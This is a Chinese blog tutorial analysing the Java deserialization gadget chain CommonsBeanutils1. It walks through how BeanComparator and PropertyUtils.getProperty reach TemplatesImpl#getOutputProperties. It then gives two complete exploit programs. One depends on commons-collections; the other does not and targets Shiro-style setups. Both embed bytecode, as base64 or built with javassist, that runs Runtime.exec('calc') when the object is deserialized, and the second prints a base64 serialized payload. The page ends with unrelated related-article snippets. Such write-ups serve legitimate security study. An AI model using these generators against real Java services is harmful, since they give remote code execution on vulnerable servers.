当前位置: 首页 > news >正文

Java反序列化漏洞——CommonsBeanutils1链分析

一、了解Apache Commons Beanutils

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法。

在Java中,有很多class的定义都符合这样的规范

  • 若干private实例字段;

  • 通过public方法来读写实例字段

举例子:比如定义一个User类

public class User {private String name;public String getName() {return name;}public void setName(String name) {this.name = name;}
}

就是包含了一个私有属性name,以及读取和设置这个属性的两个公开方法,定义为getter和setter。getter方法以get开头,setter方法以set开头。

commons-beanutils中提供了一个静态方法PropertyUtils.getProperty让使用者可以直接调用任意JavaBean的getter方法,比如:

PropertyUtils.getProperty(new User(), "name");
  • commons-beanutils会自动找到name属性的getter方法,也就是getName ,然后调用,获得返回值。

  • 除此之外,PropertyUtils.getProperty 还支持递归获取属性,比如a对象中有属性b,b对象中有属性c,我们可以通过PropertyUtils.getProperty(a, "b.c"); 的方式进行递归获取。

  • 通过这个方法,使用者可以很方便地调用任意对象的getter,适用于在不确定JavaBean是哪个类对象时使用。

二、漏洞原理

前面说到PropertyUtils.getProperty()会自动调用javaBean的get方法,这样就存在一个安全问题,如果get方法中存在任意命令执行的点,则存在安全问题。

在之前的CC2/4的链中我们用到了java.util.PriorityQueue的readObject触发反序列化,主要是通过调用了其comparator的compare方法,进而调用了transform链的调用。而CB链的思路就是,将其中的comparator替换成commons-beanutils库中的某个comparator,达到我们的目的。其中就用到了如下的BeanComparator这个类:

1.org.apache.commons.beanutils.BeanComparator#compare()——调用点

这里就调用到了我们上面说到的PropertyUtils.getProperty方法,而且property参数对我们是可控的,将会取出两个对象的property属性值,之后调用internalCompare通过在创建BeanComparator对象是创建的比较器。

2.PropertyUtils.getProperty()

接收两个参数 bean (类对象)和 name(属性名),方法会返回这个类的这个属性的值,但是他不是直接通过反射取值,而是通过反射调用getter方法获取属性,进而经过恶意的构造,我们可以触发任意的getter方法。

3.TemplatesImpl#getOutputProperties()——命令执行点

getOutputProperties方法调用了newTransformer方法,也正好可以构造字节码任意命令执行。

所以, PropertyUtils.getProperty( o1, property ) 这段代码,当o1是一个TemplatesImpl 对象,而property 的值为outputProperties时,将会自动调用getter,也就是TemplatesImpl#getOutputProperties() 方法,触发代码执行。

调用链如下:

PriorityQueue#readObject --> heapify() --> siftDown() --> siftDownUsingComparator() --> comparator.compare() --> BeanComparator#compare() --> PropertyUtils.getProperty( o1, property )

回过头来分析下BeanComparator的构造器:

在创建类的对象的时候可以为comparator赋予特定的比较器,值得注意的是如果没有设定自定义的comparator,其默认为ComparableComparator对象,当然,在调用链中,将会调用他的compare方法。

三、构造payload

1、依赖CC链

在上面对BeanComparator的构造器分析中,提到了,在创建类对象的时候,将会判断是否存在有comparator属性值,如果没有将会创建一个ComparableComparator对象。

不幸的是,这个类是存在commons-collections的类,如果没有这个依赖,在反序列化的过程中将会抛出异常。当然同样有着解决的办法!

1.首先创建恶意的TemplateImpl:

byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "test");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

2.实例化BeanComparator

BeanComparator comparator = new BeanComparator();

3.实例化优先队列PriorityQueue

PriorityQueue queue = new PriorityQueue(2,comparator);
queue.add(1);
queue.add(1);

4.反射将property 的值设置成恶意的outputProperties ,将队列里的两个1替换成恶意的TemplateImpl 对象

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

完整代码:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;public class CB1 {public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS");TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][] {code});setFieldValue(obj, "_name", "test");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());BeanComparator comparator = new BeanComparator();PriorityQueue queue = new PriorityQueue(2,comparator);queue.add(1);queue.add(1);setFieldValue(comparator, "property", "outputProperties");setFieldValue(queue, "queue", new Object[]{obj, obj});//        SeriallizationTest.serizlize(queue);UnSerializeTest.unserialize("test.bin");}
}

2、不依赖CC链(shiro无依赖利用链)

前面提到了,对于没有CC依赖的原因是,默认下的comparator,是CC依赖中的类,如果我们在创建类的时候赋予了一个在JDK或者commons-beanutils依赖中存在的comparator并且实现了Serializable接口就行了。

对于commons-beanutils中,只有BeanComparator这一个类满足,我们查找一下JDK中的类。

存在很多很多,常用的为java.util.Collections$ReverseComparator或者java.lang.String$CaseInsensitiveComparator

我们只需要反射将对应的comparator写入属性中,就不需要依赖CC库了。

//反射赋值
setFieldValue(beanComparator, "property", "outputProperties");
//下面这两个二选一都可以
//setFieldValue(beanComparator, "comparator", String.CASE_INSENSITIVE_ORDER);
setFieldValue(beanComparator, "comparator", Collections.reverseOrder());
setFieldValue(queue, "queue", new Object[]{templates, templates});

完整代码:

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Collections;
import java.util.PriorityQueue;public class CB_withoutCC {public static void setFieldValue(Object obj, String fieldname, Object value) throws NoSuchFieldException, IllegalAccessException {Field field = obj.getClass().getDeclaredField(fieldname);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, IOException, CannotCompileException, ClassNotFoundException {//动态创建字节码String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";ClassPool pool = ClassPool.getDefault();CtClass ctClass = pool.makeClass("Evil");ctClass.makeClassInitializer().insertBefore(cmd);ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));byte[] bytes = ctClass.toBytecode();TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_name", "RoboTerh");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());setFieldValue(templates, "_bytecodes", new byte[][]{bytes});//创建比较器BeanComparator beanComparator = new BeanComparator(null, Collections.reverseOrder());PriorityQueue<Object> queue = new PriorityQueue(2, beanComparator);queue.add(1);queue.add(1);//反射赋值setFieldValue(beanComparator, "property", "outputProperties");setFieldValue(queue, "queue", new Object[]{templates, templates});//序列化ByteArrayOutputStream baor = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baor);oos.writeObject(queue);oos.close();System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));//反序列化ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray());ObjectInputStream ois = new ObjectInputStream(bais);Object o = ois.readObject();baor.close();}
}

相关文章:

Java反序列化漏洞——CommonsBeanutils1链分析

一、了解Apache Commons BeanutilsApache Commons Beanutils 是 Apache Commons 工具集下的另一个项目&#xff0c;它提供了对普通Java类对象&#xff08;也称为JavaBean&#xff09;的一些操作方法。在Java中&#xff0c;有很多class的定义都符合这样的规范若干private实例字段…...

三菱PLC的MC协议配置说明

三菱PLC的MC协议配置说明先说一下弱智的踩坑记录详细配置过程1、三菱Q02H CPUQJ71E71-100以太网模块设置MC协议1.1 PLC编程线连接与编程线驱动安装1.2 PLC通讯测试1.3 PLC MC协议设置1.4 PLC断点重启1.5 网络调试助手测试2、三菱Q03UDE CPU内置以太网设置MC协议2.1 PLC编程线连…...

Python基础复习总结

文章目录Python基础复习Python的下载与安装标识符关键字模块条件、循环语句if elif elsefor循环while循环成员测试Python中的数据类型序列列表 list元组 tuple集合 set字典 dictPython关系运算算术运算符比较运算符逻辑运算符位运算符赋值运算符运算符优先级字符串表示字符串字…...

【Linux操作系统】【综合实验五 网络管理与通信】

文章目录一、实验目的二、实验要求三、实验内容四、实验报告要求一、实验目的 要求了解和熟悉Linux网络客户/服务器管理模式&#xff08;client/server&#xff09;与网络环境的配置&#xff1b;熟悉网络远程登录模式与TCP/IP常见终端命令的使用&#xff1b;学会使用在线通信与…...

Qt下实现不规则形状窗口显示

文章目录前言一、资源文件的添加二、初始化窗口三、重写paintEvent函数实现窗口重绘四、重写QMouseEvent相关函数实现不规则窗口的移动及关闭五、demo完整代码六、下载链接总结前言 本文实现了Qt下显示两个不规则形状的窗口demo&#xff0c;其中有Qt的窗口对话框和QPaintEvent…...

使用ribbon实现负载均衡

1.新建两个provider&#xff1a;springcloud-provider-dept-8002 2. 配置跟8001一样 整合 Ribbon 由上述可知&#xff0c;Ribbon 是需要集成在消费端的 所以在消费端 &#xff1a; springcloud-03-consumer-dept-8082 进行修改 在 POM 文件中添加 Ribbon、Eureka 依赖 <!--…...

从页面仔到工程师,前端到底在发挥什么价值

玉伯在前端圈子里摸爬滚打十几年&#xff0c;他对前端价值的理解是什么样的&#xff1f;在他眼里&#xff0c;前端到底是一个怎样的岗位&#xff1f;我们带着这样的问题向他提问。支付宝体验技术部是前端同学最希望加入的团队之一&#xff0c;玉伯带领这个团队做出诸多创新产品…...

Java程序员进阶宝典,让你学习面试无忧!

心净则明,心诚则灵如果你想要一个月速成程序员&#xff0c;那么这篇文章不适合&#xff0c;如果你仅想要在IT圈“耍酷”&#xff0c;那你也不需要研读&#xff0c;如果你执着询问“退化”成为一名程序猿有啥捷径&#xff0c;那我只能告诉你&#xff0c;此路不通&#xff01;不可…...

Hadoop HDFS的主要架构与读写文件

一、Hadoop HDFS的架构 HDFS&#xff1a;Hadoop Distributed File System&#xff0c;分布式文件系统 &#xff11;&#xff0c;NameNode 存储文件的metadata&#xff0c;运行时所有数据都保存到内存&#xff0c;整个HDFS可存储的文件数受限于NameNode的内存大小一个Block在…...

面试题练习第五篇

面试题第五篇1. 说说React生命周期中有哪些坑&#xff1f;如何避免&#xff1f;2. 说说Real diff算法是怎么运作的&#xff1f;3. 调和阶段setState干了什么&#xff1f;4. 说说redux的实现原理是什么&#xff0c;写出核心代码&#xff1f;5. React合成事件的原理&#xff1f;6…...

hadoop02【尚硅谷】

HDFS 大数据学习笔记 一、HDFS产出背景及定义 HDFS产生背景 随着数据量越来越大&#xff0c;在一个操作系统存不下所有的数据&#xff0c;那么就分配到更多的操作系统管理的磁盘中&#xff0c;但是不方便管理和维护&#xff0c;迫切需要一种系统来管理多台机器上的文件&#x…...

Alist ——本地网盘管理器

Alist ——本地网盘管理器 一、下载工具 Alist https://github.com/alist-org/alist二、启动登录 进入下载好的文件中&#xff0c;在地址栏输入cmd进入命令行启动 进入命令行输入 alist start启动 记住密码&#xff0c;和端口进入浏览器 输入 &#xff1a;127.0.0.1:5244用…...

【白话科普】聊聊网络架构变革的关键——SDN

最近二狗子在网上冲浪的时候&#xff0c;不小心将 CDN 搜索成了 SDN&#xff0c;结果跳出来了一大堆相关的知识点。 好学的二狗子当然不会随随便便糊弄过去&#xff0c;于是认认真真学习了好久&#xff0c;终于了解了 SDN 是什么。 原来&#xff0c;SDN 的全称是 Software De…...

go gin学习记录4

环境 环境&#xff1a;mac m1&#xff0c;go version 1.17.2&#xff0c; goland&#xff0c; mysql 除了原生sql&#xff0c;和orm操作之外&#xff0c;go还有一类包&#xff0c;只用于生成sql&#xff0c;典型的如sqlbuilder&#xff0c;今天就来研究一下它。 安装sqlbuil…...

家政服务小程序实战开发教程015-填充用户信息

我们上一篇讲解了立即预约功能&#xff0c;存在的问题是&#xff0c;每次都需要用户填写联系信息。在我们前述篇章中已经介绍了用户注册的功能&#xff0c;在立即预约的时候我们需要把已经填写的用户信息提取出来&#xff0c;显示到表单对应的字段中。本篇我们就讲解一下如何提…...

python+selenium使用webdriver启动chrome出现闪退现象解决

这两天发现之前开发的爬虫程序出问题了&#xff1a;谷歌浏览器出现打开立即闪退的现象&#xff0c;代码未修改过&#xff0c;检查也没有任何问题&#xff01; 查看chrome浏览器发现版本更新了 ↑&#xff08;点击chrome浏览器右上角三个点&#xff0c;最下面帮助→Google Chr…...

新建idea项目

目录IDEA系列之创建各种项目 https://blog.csdn.net/LOVEQD123/article/details/105886077 idea 创建项目的三种方式 https://blog.csdn.net/weixin_50034122/article/details/118754521 创建空项目 https://blog.csdn.net/qq_44537956/article/details/123075134 创建 spri…...

Django框架之类视图

类视图 思考&#xff1a;一个视图&#xff0c;是否可以处理两种逻辑&#xff1f;比如get和post请求逻辑。 如何在一个视图中处理get和post请求 注册视图处理get和post请求 以函数的方式定义的视图称为函数视图&#xff0c;函数视图便于理解。但是遇到一个视图对应的路径提供…...

win11/10+Azure kinect DK配置 VS2019/2017/2015的方法(简单,亲测可以)

首先下载文件&#xff1a;文件的下载和安装方法参考我的博客(131条消息) WIN11/win10Azure Kinect DK详细驱动配置教程&#xff08;亲测&#xff09;_Vertira的博客-CSDN博客安装好VS2019,创建好控制台c工程。这些都很简单&#xff0c;不细说。配置&#xff1a;首先配置环境变量…...

子查询的相关例题

子查询的相关例题&#xff1a; 查询和Zlotkey相同部门的员工姓名和工资 SELECT e1.last_name,e1.first_name,e1.salary FROM employees e1 WHERE e1.department_id (SELECT e2.department_idFROM employees e2WHERE e2.last_nameZlotkey );查询工资比公司平均工资高的员工号…...

深入剖析AI大模型:大模型时代的 Prompt 工程全解析

今天聊的内容&#xff0c;我认为是AI开发里面非常重要的内容。它在AI开发里无处不在&#xff0c;当你对 AI 助手说 "用李白的风格写一首关于人工智能的诗"&#xff0c;或者让翻译模型 "将这段合同翻译成商务日语" 时&#xff0c;输入的这句话就是 Prompt。…...

UE5 学习系列(三)创建和移动物体

这篇博客是该系列的第三篇&#xff0c;是在之前两篇博客的基础上展开&#xff0c;主要介绍如何在操作界面中创建和拖动物体&#xff0c;这篇博客跟随的视频链接如下&#xff1a; B 站视频&#xff1a;s03-创建和移动物体 如果你不打算开之前的博客并且对UE5 比较熟的话按照以…...

【单片机期末】单片机系统设计

主要内容&#xff1a;系统状态机&#xff0c;系统时基&#xff0c;系统需求分析&#xff0c;系统构建&#xff0c;系统状态流图 一、题目要求 二、绘制系统状态流图 题目&#xff1a;根据上述描述绘制系统状态流图&#xff0c;注明状态转移条件及方向。 三、利用定时器产生时…...

【JavaWeb】Docker项目部署

引言 之前学习了Linux操作系统的常见命令&#xff0c;在Linux上安装软件&#xff0c;以及如何在Linux上部署一个单体项目&#xff0c;大多数同学都会有相同的感受&#xff0c;那就是麻烦。 核心体现在三点&#xff1a; 命令太多了&#xff0c;记不住 软件安装包名字复杂&…...

NPOI操作EXCEL文件 ——CAD C# 二次开发

缺点:dll.版本容易加载错误。CAD加载插件时&#xff0c;没有加载所有类库。插件运行过程中用到某个类库&#xff0c;会从CAD的安装目录找&#xff0c;找不到就报错了。 【方案2】让CAD在加载过程中把类库加载到内存 【方案3】是发现缺少了哪个库&#xff0c;就用插件程序加载进…...

C语言中提供的第三方库之哈希表实现

一. 简介 前面一篇文章简单学习了C语言中第三方库&#xff08;uthash库&#xff09;提供对哈希表的操作&#xff0c;文章如下&#xff1a; C语言中提供的第三方库uthash常用接口-CSDN博客 本文简单学习一下第三方库 uthash库对哈希表的操作。 二. uthash库哈希表操作示例 u…...

TSN交换机正在重构工业网络,PROFINET和EtherCAT会被取代吗?

在工业自动化持续演进的今天&#xff0c;通信网络的角色正变得愈发关键。 2025年6月6日&#xff0c;为期三天的华南国际工业博览会在深圳国际会展中心&#xff08;宝安&#xff09;圆满落幕。作为国内工业通信领域的技术型企业&#xff0c;光路科技&#xff08;Fiberroad&…...

elementUI点击浏览table所选行数据查看文档

项目场景&#xff1a; table按照要求特定的数据变成按钮可以点击 解决方案&#xff1a; <el-table-columnprop"mlname"label"名称"align"center"width"180"><template slot-scope"scope"><el-buttonv-if&qu…...

论文阅读:LLM4Drive: A Survey of Large Language Models for Autonomous Driving

地址&#xff1a;LLM4Drive: A Survey of Large Language Models for Autonomous Driving 摘要翻译 自动驾驶技术作为推动交通和城市出行变革的催化剂&#xff0c;正从基于规则的系统向数据驱动策略转变。传统的模块化系统受限于级联模块间的累积误差和缺乏灵活性的预设规则。…...

认识CMake并使用CMake构建自己的第一个项目

1.CMake的作用和优势 跨平台支持&#xff1a;CMake支持多种操作系统和编译器&#xff0c;使用同一份构建配置可以在不同的环境中使用 简化配置&#xff1a;通过CMakeLists.txt文件&#xff0c;用户可以定义项目结构、依赖项、编译选项等&#xff0c;无需手动编写复杂的构建脚本…...